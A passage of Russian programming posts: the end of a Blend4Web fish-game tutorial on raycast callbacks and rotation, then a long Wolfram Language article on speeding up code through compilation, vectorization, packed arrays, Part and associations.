Практически это решено с использованием костылей. Проблема была в том, что колбэк *ray\_test\_cb* не возвращает ссылку на вызывавший raycast объект. А ведь именно для него нужно изменить режим state. Хорошо, что при создании raycast создается идентификационный номер “луча”, который затем передается в колбэке.
Пришлось создавать специальную переменную *ray\_id* для объекта, чтобы хранить id функции *append\_ray\_test*. Путем простого перебирания *id\_ray* всех рыб, находится виновник и устанавливается state:
```
function ray_test_cb (id, hit_fract, obj_hit) {
for (var i = 0; i < _fishes.length; i++) {
if (_fishes[i].ray_id ==id) _fishes[i].state = m_game_config.STATE_FISH_ROTATE;
}
}
```
Сам разворот выполняется так:
```
...
var elapsed = m_ctl.get_sensor_value(clone_fish, "FISH", 0);
m_phy.character_rotation_inc(clone_fish.root, elapsed * -4, 0);
...
```
Функция *character\_rotation\_inc(obj, h\_angle, v\_angle)*
поворачивает объект на указанный угол, где *h\_angle* — значение угла по горизонтали, *v\_angle* — вертикали. И вот, внимание! Для одинаковой скорости вращения, вне зависимости от мощности компьютера, необходимо использовать возвращаемое время от сенсора elapsed\_sensor (первая строка). Умножьте полученное значение на требуемый угол поворота.
#### Итог работы
Я разрабатываю эту игру, в первую очередь, для изучения возможностей Blend4Web. Методом проб и ошибок, создается код, равно как и проявляются непонятные или слабые места b4w.
Самое главное, что мне не хватало — это debug-функций. Например, возможность создания прямой между двумя точками. Это можно было бы использовать для тестирования луча raycast. Или визуализации коллайдеров. Причем именно физического тела, а не примитива, что создается в Blender.
Неплохо было бы создать константы направления векторов, типа Forward, Back, Left, Right. Дело в том, что координатные оси Blender и WebGL не совпадают. Быстрее написать Vec3.Forward, нежели экспериментировать и искать подходящее сочетание [0,0,1].
Генератор случайных чисел. Да, можно написать *Math.floor(Math.random() \* (5 — 1)) + 1*, но было бы проще брать уже готовую функцию.
Тем не менее, код был написан, рыбки плавают и даже немного “шевелят мозгами”. Продолжение следует…
**Update**
По каким-то причинам приложение не грузится в firefox, хотя на локальном сервере проблем с браузером нет, но скрипты для ознакомления скачать точно удасться :)
[Тестовая сцена](http://www.prandgames.com/share/waterhunter/waterhunter.html) + [скрипты](http://www.prandgames.com/share/wh_test_js.zip). | https://habr.com/ru/post/269779/ | null | ru | null |
# Краеугольные камни уничтожения медленного кода в Wolfram Language: ускоряем код в десятки, сотни и тысячи раз
**Скачать файл с кодом и данные можно в [оригинале поста в моем блоге](https://blog.wolframmathematica.ru/2208/07-11-2019/)**
Картинка к вебинару и посту взята не просто так: в определенном смысле символьное ядро Wolfram Language можно сравнить с Таносом — если бы его мощь была бы направлена в правильное русло, он мог бы стать самым мощным и полезным «добряком». Так же и с символьным ядром Wolfram — его чудовищную мощь нужно правильно использовать, а если это делать не так, оно может стать настоящим «злом», замедляющим все очень сильно. Начинающие разработчики не знают многих важнейших парадигм, идей и принципов языка Wolfram Language, пишут код, который на самом деле дико неэффективен и после этого разочаровываются, хотя тут нет вины Wolfram Language. Эту ситуацию призвана исправить эта статья.
Мне довелось работать с Wolfram Language начиная с (уже довольно далекого) 2005 года (тогда еще была версия Mathematica 5.2, сейчас уже 12-я). За эти почти 15 лет произошло очень много: добавились тысячи новых встроенных функций и областей, в которых они работают ([машинное обучение](http://reference.wolfram.com/language/guide/MachineLearning.html), [точная геометрия](http://reference.wolfram.com/language/guide/GeometricComputation.html), [работа с аудио](http://reference.wolfram.com/language/guide/AudioProcessing.html), [работа в вебе](http://reference.wolfram.com/language/guide/WebOperations.html), [облачные возможности](http://reference.wolfram.com/language/guide/CloudFunctionsAndDeployment.html), глубокая поддержка [единиц измерения](http://reference.wolfram.com/language/guide/Units.html), интеграция с [базами данных Wolfram|Alpha](http://reference.wolfram.com/language/guide/KnowledgeRepresentationAndAccess.html), [географические вычисления](http://reference.wolfram.com/language/guide/GeographicData.html), поддержка работы с [CUDA](http://reference.wolfram.com/language/CUDALink/guide/CUDALink.html), [Python](https://reference.wolfram.com/language/WolframClientForPython/), [распараллеливание](http://reference.wolfram.com/language/guide/ParallelComputing.html) операций и многое многое другое), появились новые сервисы — облако [Wolfram Cloud](https://www.wolframcloud.com/), широко известная система вычислительных значeний [Wolfram|Alpha](https://www.wolframalpha.com/), [репозиторий функций](https://resources.wolframcloud.com/FunctionRepository/), [репозиторий нейросетей](https://resources.wolframcloud.com/NeuralNetRepository/?source=nav) и пр.
За эти годы я применял Wolfram Language очень много (да, ранее, по сути, он назывался [Mathematica](https://www.wolfram.com/mathematica/?source=nav), до того, как [Стивен Вольфрам](https://www.stephenwolfram.com/) не решил [выделить язык](https://writings.stephenwolfram.com/2013/02/what-should-we-call-the-language-of-mathematica/) и сделать его общим для целой плеяды своих продуктов) и в разных областях: довелось делать модель продаж для фармацевтической компании; создавать парсеры и автоматические генераторы альбомов о фильмах для индустрии проката кино (когда они еще только зарождались); применять активно в науке (работы по химии и физике твердого тела и теории разрушения); разрабатывать прототипы обучающих систем для платформ отечественного школьного и вузовского образования и ведущих компаний и издательств на этом рынке в России.
**Записи некоторых моих выступлений на MBLT DEV и конференциях Wolfram**
Это, а вместе с тем то, что я уже несколько лет руковожу своей студией разработки, в которой мы применяем помимо Wolfram Language много чего: JavaScript, Python, Java, PHP и др. — дало мне возможность оценить язык Wolfram глубоко и понять области, в которых ему, пожалуй, особенно нет равных.
В этой статье, которая является компиляцией моего личного опыта и опыта потрясающего разработчика, который сделал очень много для ядра Wolfram Language — *Леонида Шифрина* (см., скажем, ответ к вопросу "[Performance tuning in Mathematica?](https://mathematica.stackexchange.com/a/29351)" — часть этой статьи является её адаптированным и расширенным переводом) — мне хотелось бы развеять мифы относительно скорости языка Wolfram Language — ведь часто разработчики просто, прошу прощения за прямоту, не умеют (не знают) как эффективно использовать его возможности.
Разработчики часто применяют неэффективные конструкции, не используют потрясающие возможности, вроде: [распараллеливания](http://reference.wolfram.com/language/guide/ParallelComputing.html), [компиляции кода в C](http://reference.wolfram.com/language/ref/CompilationTarget.html) или [байт-код](http://reference.wolfram.com/language/tutorial/CompilingWolframLanguageExpressions.html) Wolfram Language, интеграции с [CUDA](http://reference.wolfram.com/language/CUDALink/tutorial/Overview.html), другими языками вроде [Java](http://reference.wolfram.com/language/JLink/tutorial/Overview.html) и [C](http://reference.wolfram.com/language/guide/CLanguageInterface.html) (да, можно подгружать код на этих языках прямо в Wolfram-код).
Это в целом неудивительно, ведь Wolfram Language дает уникальную свободу разработки. Вот, скажем, набор примеров, показывающий 15 способов задать факториал (обратите внимание, как сильно отличается время вычисления функций — показано в какое количество раз оно больше, чем у встроенной функции **[`Factorial`](http://reference.wolfram.com/language/ref/Factorial.html)**):
**Код**
```
Module[{st, stInput, data, systemFunction},
st=Style[#, FontFamily->"Arial", Gray, FontSize->14]&;
SetAttributes[stInput, HoldAll];
stInput[code_]:=(Clear[f];
code;
{Style[HoldForm@code, "Input", FontSize->14, Background->None], code;
RepeatedTiming[f[9];
, 2][[1]]});
data=Flatten/@{
{st@"Ядро Wolfram", stInput[f=Factorial]},
{"", stInput[f[n_]:=n!]},
{st["Правила замены"], stInput[f[n_]:=n f[n-1];
f[1]=1]},
{st["Процедурный"], stInput[f[n_]:=Module[{t=1}, Do[t=t*i, {i, n}];
t]]},
{"", stInput[f[n_]:=Module[{t=1, i}, For[i=1, i<=n, i++, t*=i];
t]]},
{st["На списках (массивах)"], stInput[f[n_]:=Apply[Times, Range[n]]]},
{"", stInput[f[n_]:=Fold[Times, 1, Range[n]]]},
{st["Рекурсивный"], stInput[f[n_]:=If[n==1, 1, n*f[n-1]]]},
{st["Функциональный"], stInput[f=If[#1==1, 1, #1*#0[#1-1]]&]},
{"", stInput[f[n_]:=Fold[#2[#1]&, 1, Array[Function[t, #t]&, n]]]},
{st["Конструктивный"], stInput[f[n_]:=Length[Permutations[Range[n]]]]},
{st["Правила замены (шаблоны)"], stInput[f[n_]:=First[{1, n}//.{a_, b_/;
b>0}:>{b*a, b-1}]]},
{st["На строках"], stInput[f[n_]:=StringLength[Fold[StringJoin[Table[#1, {#2}]]&, "A", Range[n]]]]},
{st["Математический"], stInput[f[n_]:=Gamma[n+1]]},
{"", stInput[f[n_]:=Product[i, {i, n}]]}
};
systemFunction=data[[1, 3]];
Framed[#, Background->White, FrameMargins->5, FrameStyle->None]&@Grid[{Style[st[#], Bold]&/@{"Парадигма", "Код", "Медленнее встроенной\nфункции, раз"}}~Join~({#[[1]], #[[2]], st[Round[#[[3]]/systemFunction, 1/10]//N]}&/@data),
Alignment->{{Center, Left, Left}, Center},
Dividers->{None, {None, {LightGray}, None}}, Background->{None, {LightOrange, None}}
]]
```
Эта статья призвана помочь вам писать красивый и эффективный код, который будет работать ни чуть не медленнее, чем, скажем, в популярном Python. Знания этих принципов и приемов позмоляет писать код на Wolfram Language, который будет не особо медленнее кода на C, но за счет широты языка разработку вести в нем намного быстрее и проще.
В конце статьи вы найдете ссылки на полезные ресурсы для изучения языка Wolfram Language.
Поскольку Wolfram Language (Mathematica и другие системы, основанные на нем) — символьный язык программирования, который имеет символьный вычислительный движок, гораздо более общий, чем, скажем, в том же Matlab (Sympy, Maxima, Maple и пр.), неудивительно, что настройка производительных вычислений в нем иногда бывает более сложной. Существует, однако, множество техник, но все они сводятся, в основном, к главному принципу, который звучит так:
> Избегайте полного цикла символьных вычислений в Wolfram Language, насколько это возможно.
1. Базовые принципы
-------------------
### 1.1. Применяйте везде, где это возможно, встроенные функции
Так как они реализованы непосредственно в ядре Wolfram на низкоуровневых языках (С и Java), они обычно (но не всегда!) намного быстрее, чем созданные вами функции для решения той же задачи. Чем более специализированную функцию для конкретной задачи вы применяете, тем выше шансы, что вы ускорите код.
```
ClearAll[data];
data=RandomReal[1, {10^6, 2, 2}];
```
```
compareTiming[{Map[Flatten, data], Flatten[data, {{1}, {2, 3}}]}]
```
### 1.2. Используйте функциональное программирование (**[`Map`](http://reference.wolfram.com/language/ref/Map.html)** /@, **[`Apply`](http://reference.wolfram.com/language/ref/Apply.html)** @@ и им подобные)
Также используйте [чистые функции](http://reference.wolfram.com/language/tutorial/PureFunctions.html) (лямбда-исчисление) на основе нотации #-&, когда это возможно — они, как правило, быстрее, чем функции функции с именованными аргументами (на основе **[`Function`](http://reference.wolfram.com/language/ref/Function.html)**) или функции, основанные на правилах замены (особенно для функций, не требующих интенсивных вычислений, которые применяются к большим спискам).
```
ClearAll[data];
data=Range[1, 10^6];
```
```
compareTiming[{f[x_]:=x^2;
Table[f[i], {i, data}], Map[#^2&, data]}]
```
### 1.3. Используйте структурные и векторизованные операции
Применяйте **[`Transpose`](http://reference.wolfram.com/language/ref/Transpose.html)**, **[`Flatten`](http://reference.wolfram.com/language/ref/Flatten.html)**, **[`Partition`](http://reference.wolfram.com/language/ref/Partition.html)**, **[`Part`](http://reference.wolfram.com/language/ref/Part.html)** и т. п. — они быстрее, чем функциональные.
```
ClearAll[data];
data=RandomReal[1, {10^5, 2}];
```
```
compareTiming[{{#[[1]], #[[2]]^2}&/@data, Transpose[{#1, #2^2}&@@Transpose[data]]}]
```
### 1.4. Избегайте использования процедурного стиля программирования
Не применяйте циклы и т. п, так как этот стиль программирования имеет тенденцию разбивать большие структуры на части (индексирование массива и т. п.). Это «выталкивает» значительную часть вычислений из ядра и поэтому сильно замедляет их.
```
ClearAll[fibonacci, f];
```
```
compareTiming[{fibonacci={1, 1};
n=3;
While[n<=20000, AppendTo[fibonacci, fibonacci[[n-1]]+fibonacci[[n-2]]];
n++];
fibonacci, f[1]=1;
f[2]=1;
f[n_]:=f[n]=f[n-1]+f[n-2];
f/@Range[20000]}]
```
2. Используйте машинную точность, всегда, когда это возможно
------------------------------------------------------------
В большинстве языков программирования просто нет таких понятий, как точные константы, вроде 6/47 или каких бы то ни было символьных выражений. Поэтому применяя их нужно быть аккуратным и понимать, как работает процесс вычислений, чтобы не использовать абсолютную точность, когда это не нужно.
### 2.1. Не применяйте абсолютную точность там, где это не нужно
Скажем, если вы строите график, вам нет необходимости применять точную арифметику.
```
compareTiming[{data=Table[{x, Sin[x]/Gamma[x]}, {x, 0, 10, 1/100}];
ListPlot[data], data=Table[{x, Sin[x]/Gamma[x]}, {x, 0, 10, 1/100.}];
ListPlot[data]}]
```
В примере выше изменено только одно место — 100 заменено на 100. — первое число имеет абсолютную точность, а второе — машинную. Но от этого вычисления ускорились в 4 раза! Вот, собственно, как выглядят данные.
```
Table[{x, Sin[x]/Gamma[x]}, {x, 0, 10, 1/2}]
Table[{x, Sin[x]/Gamma[x]}, {x, 0, 10, 1/2.}]
```
Важно учитывать, что Wolfram Language работает с минимальной введенной точностью: это означает, что ваше точное вычисление нарушит любое число с машинной точностью (если не сделана защита от такого), и если вы используете не машинную точность, а, скажем, 100 знаков (в Wolfram Language можно работать с любой точностью), и внутри встретится число с точностью меньше, результат будет получен с этой минимальной точностью. Это все логично и целиком следует из теории численных методов и работы с погрешностью, но это обязательно нужно знать и помнить.
### 2.2. Применяйте машинную точность до символьных преобразований
Также нужно помнить, что по умолчанию система делает все символьно и это может занять много времени. Скажем, вы хотите решить уравнение  при заданном наборе значений a, b, c. Вы можете сделать вот так:
```
Solve[a x^3+b x+c==0, x]/.{a->1.23, b->3.45, c->2.6}
```
И вы удивитесь, почему чуть иначе написанный код будет быстрее в 15 раз:
```
compareTiming[{Solve[a x^3+b x+c==0, x]/.{a->1.23, b->3.45, c->2.6}, Solve[a x^3+b x+c==0/.{a->1.23, b->3.45, c->2.6}, x]}]
```
Все дело как раз в том, что в первом примере Wolfram Language сначала ищет точное решение и затем подставляет в него численные значения коэффициентов:
```
Solve[a x^3+b x+c==0, x]
```
```
Solve[a x^3+b x+c==0, x]/.{a->1.23, b->3.45, c->2.6}
```
Во втором случае ищется решение сразу численными методами:
```
a x^3+b x+c==0/.{a->1.23, b->3.45, c->2.6}
```
```
Solve[a x^3+b x+c==0/.{a->1.23, b->3.45, c->2.6}, x]
```
### 2.3. Не мешайте числа с разной точностью
Если в вашем списке есть числа с разной точностью — он автоматически будет распакован и будет работать в сотни раз медленнее (см. ниже про упакованные массивы). Приводите числа к одинаковой точности с помощью таких функций как **[`N`](http://reference.wolfram.com/language/ref/N.html)**, **[`Rationalize`](http://reference.wolfram.com/language/ref/Rationalize.html)**, **[`Round`](http://reference.wolfram.com/language/ref/Round.html)**, **[`Floor`](http://reference.wolfram.com/language/ref/Floor.html)**, **[`Ceiling`](http://reference.wolfram.com/language/ref/Ceiling.html)**, **[`SetPrecision`](http://reference.wolfram.com/language/ref/SetPrecision.html)**, **[`SetAccuracy`](http://reference.wolfram.com/language/ref/SetAccuracy.html)**.
3. Компиляция, листабилити, распараллеливание и CUDA
----------------------------------------------------
### 3.1. Помните про листабилити
Листабилити (Listability) — это применение функции к массиву, каждому её элементу автоматически. Так как в Wolfram Language массивы называются **[`List`](http://reference.wolfram.com/language/ref/List.html)** — отсюда название. В принципе, можно назвать также это векторизацией.
Помните, что многие встроенные функции листабильны, а значит применение их к большим спискам предпочтительнее применения конструкций вроде **[`Map`](http://reference.wolfram.com/language/ref/Map.html)** или циклов.
```
ClearAll[data];
data=RandomReal[{-Pi, Pi}, 10^7];
```
```
compareTiming[{Sin/@data, Sin[data]}]
```
### 3.2. Используйте компиляцию на основе **[`Compile`](http://reference.wolfram.com/language/ref/Compile.html)**
Используйте компиляцию всегда, когда это возможно. Применяйте компиляцию в C-код (для этого потребуется доустановить компилятор, можно установить [Visual C++ Build Tools 2017 —](https://download.microsoft.com/download/5/A/8/5A8B8314-CA70-4225-9AF0-9E957C9771F7/vs_BuildTools.exe) подробнее о том, как это сделать, см. [здесь](https://community.wolfram.com/groups/-/m/t/1329822)). Делайте ваши компилированные функции листабельными ([RuntimeAttributes](http://reference.wolfram.com/language/ref/RuntimeAttributes.html)) и распараллеленными ([Parallelization](http://reference.wolfram.com/language/ref/Parallelization.html)).
```
ClearAll[data];
data=Range[-50, 50, 0.001];
```
Оригинальная функция:
```
fNotCompiled=Function[{x}, Block[{sum=1.0, inc=1.0}, Do[inc=inc*x/i;
sum=sum+inc, {i, 100}];
sum]];
```
Фунция, скомпилированная в байт-код Wolfram Language (JIT-компиляция) (далее будем ее называть JIT-функция)
```
fJITCompiled=Compile[{{x}}, Block[{sum=1.0, inc=1.0}, Do[inc=inc*x/i;
sum=sum+inc, {i, 100}];
sum]];
```
JIT-функция с возможностью распараллеливания:
```
fJITCompiledParallelized=Compile[{{x}}, Block[{sum=1.0, inc=1.0}, Do[inc=inc*x/i;
sum=sum+inc, {i, 100}];
sum], Parallelization->True];
```
JIT-функция с листабилити:
```
fJITCompiledListable=Compile[{{x}}, Block[{sum=1.0, inc=1.0}, Do[inc=inc*x/i;
sum=sum+inc, {i, 100}];
sum], RuntimeAttributes->{Listable}];
```
JIT-функция с листабилити и распараллеливанием:
```
fJITCompiledListableParallelized=Compile[{{x}}, Block[{sum=1.0, inc=1.0}, Do[inc=inc*x/i;
sum=sum+inc, {i, 100}];
sum], Parallelization->True, RuntimeAttributes->{Listable}];
```
Фунция, скомпилированная в код C (остальные аналогично):
```
fСCompiled=Compile[{{x}}, Block[{sum=1.0, inc=1.0}, Do[inc=inc*x/i;
sum=sum+inc, {i, 100}];
sum], CompilationTarget->"C"];
```
```
fСCompiledParallelized=Compile[{{x}}, Block[{sum=1.0, inc=1.0}, Do[inc=inc*x/i;
sum=sum+inc, {i, 100}];
sum], CompilationTarget->"C", Parallelization->True];
fСCompiledListable=Compile[{{x}}, Block[{sum=1.0, inc=1.0}, Do[inc=inc*x/i;
sum=sum+inc, {i, 100}];
sum], CompilationTarget->"C", RuntimeAttributes->{Listable}];
fСCompiledListableParallelized=Compile[{{x}}, Block[{sum=1.0, inc=1.0}, Do[inc=inc*x/i;
sum=sum+inc, {i, 100}];
sum], CompilationTarget->"C", Parallelization->True, RuntimeAttributes->{Listable}];
```
Теперь посмотрим на все варианты (по сути одной и той же функции!) работы функции и её разных компилированных версий. Как видно, ускорение просто от оборачивания функции и использования компиляции в C ускоряет её более чем в 50 раз!
```
compareTiming[
{fNotCompiled/@data,
fJITCompiled/@data,
fJITCompiledListable@data,
fJITCompiledParallelized/@data,
fJITCompiledListableParallelized@data,
fСCompiled/@data,
fСCompiledListable@data,
fСCompiledParallelized/@data,
fСCompiledListableParallelized@data}]
```
Когда вы применяете Compile может случиться так, что компилированная функция имеет «утечки», когда часть вычислений перестает быть компилированной. Примеры борьбы с этим явлением вы можете найти в [MathGroup](https://groups.google.com/d/topic/comp.soft-sys.math.mathematica/XOXapJm_Q1Q/discussion).
### 3.3. Применяйте векторизированные операции внутри Compile
Когда это возможно, используйте векторизованные операции (**[`UnitStep`](http://reference.wolfram.com/language/ref/UnitStep.html)**, **[`Clip`](http://reference.wolfram.com/language/ref/Clip.html)**, **[`Sign`](http://reference.wolfram.com/language/ref/Sign.html)**, **[`Abs`](http://reference.wolfram.com/language/ref/Abs.html)** и т. д.) внутри компилированной функции, создаваемой с помощью **[`Compile`](http://reference.wolfram.com/language/ref/Compile.html)**, чтобы реализовать конструкции «векторизованного порядка выполнения (блок-схемы)», такие как **[`If`](http://reference.wolfram.com/language/ref/If.html)**, чтобы избежать явных циклов (по крайней мере, в самых глубоковложенных циклах) внутри Compile. Это может дать вам скорость уже не байт-кода Wolfram Language, а почти родную скорость C во многих случаях.
```
f1Compiled=Compile[{{x, _Real}}, SeedRandom[1];
Block[{data}, data=RandomReal[{-x, x}, 10^5];
Table[If[data[[i]]>0, 1, 0], {i, 1, Length[data]}]], CompilationTarget->"C", Parallelization->True];
f2Compiled=Compile[{{x, _Real}}, SeedRandom[1];
Block[{data}, data=RandomReal[{-x, x}, 10^5];
UnitStep@data], CompilationTarget->"C", Parallelization->True];
```
```
compareTiming[{f1Compiled@10, f2Compiled@10}]
```
### 3.4. Распараллеливание
Применяйте [распараллеливание](http://reference.wolfram.com/language/guide/ParallelComputing.html) — для базовых нужд оно крайне просто реализовано, хотя есть множество настроек. Для начала просто запомните, главные функции: Parallelize, ParallelMap, ParallelTable.
```
compareTiming[{Table[Solve[Sin[n x+n^2]==0, x], {n, 1, 100}], ParallelTable[Solve[Sin[n x+n^2]==0, x], {n, 1, 100}]}]
```
### 3.5. CUDA, OpenCL — вычисления с помощью графических процессоров (видеокарт)
Вы можете писать программы, основанные на технологиях [CUDA](http://reference.wolfram.com/language/CUDALink/guide/CUDALink.html) и [OpenCL](http://reference.wolfram.com/language/OpenCLLink/guide/OpenCLLink.html). Производительность этих программ, естественно, будет соответствующей. Также можно использовать готовые программы на этих языках.
4. Имейте ввиду, что списки ({...} или List) реализованы в Wolfram Language, как массивы
----------------------------------------------------------------------------------------
### 4.1. Выделяйте большие списки, чтобы обрабатывать их «целиком», как описано выше.
Если у вас есть необходимость обрабатывать списки разного размера и содержимого, то особенно аккуратно нужно относиться к большим спискам. Иногда, список из 100-1000 элементов тоже может быть большим, например, если его элементами являются объекты **[`XMLObject`](http://reference.wolfram.com/language/ref/XMLObject.html)**, получающиеся от импорта веб-страниц, каждый из которых весит килобайты, сотни килобайт или даже мегабайты.
### 4.2. Избегайте применять Append, Prepend, AppendTo и PrependTo в циклах
Не стоит применять функции **[`Append`](http://reference.wolfram.com/language/ref/Append.html)**, **[`Prepend`](http://reference.wolfram.com/language/ref/Prepend.html)**, **[`AppendTo`](http://reference.wolfram.com/language/ref/AppendTo.html)** and **[`PrependTo`](http://reference.wolfram.com/language/ref/PrependTo.html)** в циклах, для создания списков и т. п. — так как они создают копию всего списка, чтобы добавить единственный элемент, что приводить к квадратичной, а не линейной сложности конструирования списков.
```
compareTiming[{list={};
n=1;
While[n<=10000, list=Append[list, n++]];
list, Range[1, 10000]}]
```
### 4.3. Используйте связанные списки
Применяйте «связанные списки» (конструкции, типа {1,{2,{3,{}}}}) вместо «плоских» списков (типа {1,2,3,4}) для накопления элементов списка в программах.
Простая конструкция для накопления элементов выглядит так: A = {new element, A}.
Так как A — это ссылка, отдельное присваивание осуществляется за одинаковое время.
```
compareTiming[{list1={};
Table[If[PrimeQ[i], list1=list1~Join~{i}], {i, 1, 100000}];
list1, list2={};
Table[If[PrimeQ[i], list2={list2, i}], {i, 1, 100000}];
Flatten@list2}]
```
### 4.4. Сопоставление по шаблону в последовательности шаблонов
Не забывайте о том, что сопоставление по шаблону ([Pattern matching](http://reference.wolfram.com/language/guide/PatternMatchingFunctions.html)) для шаблонов, задающих последовательность выражений (\_\_ **[`BlankSequence`](http://reference.wolfram.com/language/ref/BlankSequence.html)** и \_\_\_ **[`BlankNullSequence`](http://reference.wolfram.com/language/ref/BlankNullSequence.html)**) также основывается на том, что последовательности (**[`Sequence`](http://reference.wolfram.com/language/ref/Sequence.html)**) являются массивами. Таким образом, скажем, правило {fst\_,rest\_\_\_}:>{f[fst],g[rest]} скопирует весь список и только потом будет применяться. В частности, не используйте рекурсию таким образом, который может выглядеть естественным в других языках. Если вы хотите использовать рекурсию в списках, сначала преобразуйте свои списки в связанные списки (см. выше).
5. Избегайте неэффективные шаблоны. Создавайте их правильно.
------------------------------------------------------------
Для того, чтобы лучше понимать, что такое шаблоны ([Patterns](http://reference.wolfram.com/language/guide/Patterns.html)) в Wolfram Language рекомендую посмотреть мой урок:
### 5.1. Используйте аккуратно правила замены
Программирование на основе правил замены может быть как очень быстрым, так и очень медленным, в зависимости от того, как вы строите свои вычисления и правила замены, но на практике легче нечаянно замедлить его.
Особенно медленными будут правила замены, которые заставляют внутренний механизм сопоставления с шаблоном делать много априори обреченных на неудачу попыток сопоставления, например, недоиспользуя каждый прогон сопоставителя шаблонов через длинный список (или выражение).
Хорошим примером является сортировка элементов:
```
list //. {left___, x_, middle__, y_, right__} /; x > y :> {left, y, middle, x, right};
```
Не забывайте о **[`SequenceCases`](http://reference.wolfram.com/language/ref/SequenceCases.html)**, **[`SequencePosition`](http://reference.wolfram.com/language/ref/SequencePosition.html)**, **[`SequenceCount`](http://reference.wolfram.com/language/ref/SequenceCount.html)**, **[`SequenceReplace`](http://reference.wolfram.com/language/ref/SequenceReplace.html)**, специально оптимизированных для работы с массивами, которые появились в версии 10.1 языка Wolfram.
### 5.2. Структуры данных и сопоставитель шаблонов
Старайтесь создавать эффективные шаблоны и соответствующие им структуры для хранения ваших данных, что позволит механизму сопоставления с шаблоном тратить как можно меньше времени на ложные попытки сопоставления.
```
ClearAll[data];
data=RandomInteger[{0, 100}, {10^6, 2}];
```
```
compareTiming[{data/.{p:({x_/;
x>90&&PrimeQ[x], y_/;
y>34})/;
x^2+y^2>1000:>p, t:{_, _}:>Nothing}, ((data/.{_, y_/;
y<=34}:>Nothing)/.{x_/;
(x<=90||Not[PrimeQ[x]]), _}:>Nothing)/.({x_, y_}/;
x^2+y^2<=1000)->Nothing,
Cases[Cases[Cases[data, {x_/;
x>90&&PrimeQ[x], _}], {_, y_/;
y>34}], {x_, y_}/;
x^2+y^2>1000]}]
```
### 5.3. Используйте аккуратно правила замены
Избегайте использования шаблонов с вычислительно интенсивными условиями или тестами. Сопоставитель шаблонов даст вам максимальную скорость, если шаблоны в основном синтаксические по своей природе (структура теста, головной части выражения и т.д.). Каждый раз, когда применяется условие ( / ;) или тест шаблона (?), для каждого потенциального соответствия шаблону, вычислительное ядро вызывается сопоставителем шаблонов, и это замедляет его.
```
ClearAll[data];
data=RandomSample[{##}]&@@@Transpose[{RandomInteger[{0, 100}, 10^5], RandomReal[{0, 100}, 10^5]}];
```
```
compareTiming[{Cases[data, {_Integer, x_/;
Sin[x]
```
6. Работа со списками
---------------------
Большинство встроенных функций Wolfram Language, которые обрабатывают списки, создают при этом копию исходного списка и работают с этой копией. Поэтому они часто имеют линейную сложность по времени, зависящую от размера исходного списка, даже если они изменяют список только в нескольких местах.
Одна универсальная встроенная функция, которая не создает копии списка (или выражения), а изменяет исходное выражение и не имеет этой проблемы — это [[...]] (**[`Part`](http://reference.wolfram.com/language/ref/Part.html)**).
### 6.1. Аккуратно применяйте функции, модифицирующие списки
Избегайте использования большинства встроенных функций, которые меняют списки для большого количества небольших независимых модификаций списка.
```
compareTiming[{NestWhile[Drop[#, 1]&, Range[1000], (Length[#]>10)&], Drop[Range[1000], 990]}]
```
### 6.2. Расширенный функционал Part
Используйте расширенные функциональные возможности Part для одновременного извлечения и изменения большого количества элементов списка (или более общего выражения). Это очень быстро, и не только для упакованных числовых массивов (Part изменяет исходный список).
Простейший пример выглядит так:
```
list={1, 2, 3, 4, 5};
list[[{1, 3}]]=list[[{4, 1}]];
list
```
Вот простой пример — изменить элементы списка в соответствии с заданным порядком:
```
ClearAll[list1, list2];
list1=Range[1000000];
list2=list1;
newArrangement=RandomSample[list1];
```
```
compareTiming[{list1=Table[list1[[i]], {i, newArrangement}];
list1,
list2=list2[[newArrangement]];
list2}]
```
### 6.3. Используйте Extract
Используйте **[`Extract`](http://reference.wolfram.com/language/ref/Extract.html)** для извлечения сразу нескольких элементов на разных уровнях, причем список позиций может быть очень большим.
```
ClearAll[list1, list2];
list=Range[10000000];
elems=RandomInteger[{1, 10000000}, 10000];
```
```
compareTiming[{Table[list[[elems[[i]]]], {i, 1, Length@elems}],
Extract[list, List/@elems]}]
```
7. Используйте эффективные встроенные форматы данных
----------------------------------------------------
### 7.1. Упакованные массивы
Для того, чтобы упаковать массив его достаточно обернуть в Developer`ToPackedArray. Чтобы проверить упакованность массива служит функция Developer`PackedArrayQ.
```
ClearAll[data];
data=RandomInteger[{0, 1}, 10^6];
dataUnPacked=data~Join~{1.};
dataPacked=Developer`ToPackedArray[N[data]~Join~{1.}];
```
```
compareTiming[{Total[dataUnPacked], Total[dataPacked]}]
```
### 7.2. Разреженные массивы
Безусловно, если ваша матрица [разреженная](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B5%D0%B6%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BC%D0%B0%D1%82%D1%80%D0%B8%D1%86%D0%B0), то, безусловно, держать её в памяти и обращаться к ней становится неэффективным. Для работы с такими объектами существует функция **[`SparseArray`](http://reference.wolfram.com/language/ref/SparseArray.html)**.
```
sparseArray=SparseArray[RandomInteger[{1, 100}, {100, 2}]->RandomReal[{0, 10}, 100], {100, 100}];
notSparseArray=Normal@sparseArray;
compareTiming[{Det@notSparseArray, Det@sparseArray}]
```
### 7.3. Хеш-таблицы
Начиная с версии 10 в Wolfram Language появились неизменяемые [ассоциативные массивы](https://ru.wikipedia.org/wiki/%D0%90%D1%81%D1%81%D0%BE%D1%86%D0%B8%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D1%8B%D0%B9_%D0%BC%D0%B0%D1%81%D1%81%D0%B8%D0%B2), которые называются ассоциациями **<|...|>** (**[`Association`](http://reference.wolfram.com/language/ref/Association.html)**).
Тот факт, что они неизменяемы, не мешает им эффективно вставлять и удалять пары ключ-значение («дешевые копии», отличающиеся от исходной ассоциации наличием или отсутствием данной пары ключ-значение). Они представляют собой идиоматические ассоциативные массивы в Wolfram Language и имеют очень хорошие характеристики производительности.
```
assoc=<|a->1, b->2, c->3, d->4, e->5|>;
```
```
assoc[d]+assoc[a]
```
Также не забывайте про Dataset — это объект, который можно назвать внутренним форматом базы данных языка Wolfram Language.
Помимо этого также важно помнить про функцию **[`Dispatch`](http://reference.wolfram.com/language/ref/Dispatch.html)**, которая создает оптимизированную хэш-таблицу правил замены.
8. Применяйте кэширование, ленивые вычисления и динамическое программирование
-----------------------------------------------------------------------------
### 8.1. Кеширование значений функций (мемоизация) и выгрузка определений функций на жесткий диск
Оно крайне просто реализовано в Wolfram Language и может сохранить вам просто астрономическое количество времени.
